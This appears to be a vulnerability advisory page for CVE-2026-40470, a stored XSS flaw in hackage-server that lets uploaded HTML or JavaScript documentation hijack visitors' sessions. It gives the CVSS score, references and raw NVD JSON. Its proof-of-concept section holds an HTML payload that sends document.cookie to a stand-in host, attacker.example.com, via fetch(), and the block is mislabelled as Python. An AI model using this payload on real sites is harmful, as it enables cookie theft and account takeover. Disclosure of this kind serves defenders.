CVE-2026-40470

Description

A critical XSS vulnerability affected hackage-server and hackage.haskell.org. HTML and JavaScript files provided in source packages or via the documentation upload facility were served as-is on the main hackage.haskell.org domain. As a consequence, when a user with latent HTTP credentials browses to the package pages or documentation uploaded by a malicious package maintainer, their session can be hijacked to upload packages or documentation, amend maintainers or other package metadata, or perform any other action the user is authorised to do.

CVSS Details

CVSS Score

9.9

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L

Configurations (Affected Products)

No configuration data available.

hackage-server (受影响版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CVE-2026-40470: Stored XSS via Documentation Upload -->
<!-- 1. Attacker creates a malicious documentation file (e.g., index.html) -->
<!-- 2. Uploads it as part of a package to hackage.haskell.org -->

<!DOCTYPE html>
<html>
<head>
    <title>Hackage XSS PoC</title>
</head>
<body>
    <h1>Package Documentation</h1>
    <script>
        // Demonstrate XSS by sending document.cookie to an external server
        var payload = document.cookie;
        var attackerUrl = 'https://attacker.example.com/log?key=' + encodeURIComponent(payload);
        
        fetch(attackerUrl)
            .then(response => console.log('Payload sent'))
            .catch(error => console.error('Error sending payload', error));
            
        // Potential action: Change package metadata or upload new version using the victim's session
        // ... 
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-40470
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-40470
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-40470/
[4] VulDB https://vuldb.com/cve/CVE-2026-40470
[5] https://osv.dev/vulnerability/HSEC-2024-0004

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-40470", "sourceIdentifier": "74b3a70d-cca6-4d34-9789-e83b222ae3be", "published": "2026-04-23T16:16:25.523", "lastModified": "2026-04-24T14:41:55.890", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A critical XSS vulnerability affected hackage-server and\nhackage.haskell.org.  HTML and JavaScript files provided in source\npackages or via the documentation upload facility were served\nas-is on the main hackage.haskell.org domain.  As a consequence,\nwhen a user with latent HTTP credentials browses to the package\npages or documentation uploaded by a malicious package maintainer,\ntheir session can be hijacked to upload packages or\ndocumentation, amend maintainers or other package metadata, or\nperform any other action the user is authorised to do."}], "metrics": {"cvssMetricV31": [{"source": "74b3a70d-cca6-4d34-9789-e83b222ae3be", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "74b3a70d-cca6-4d34-9789-e83b222ae3be", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://osv.dev/vulnerability/HSEC-2024-0004", "source": "74b3a70d-cca6-4d34-9789-e83b222ae3be"}]}}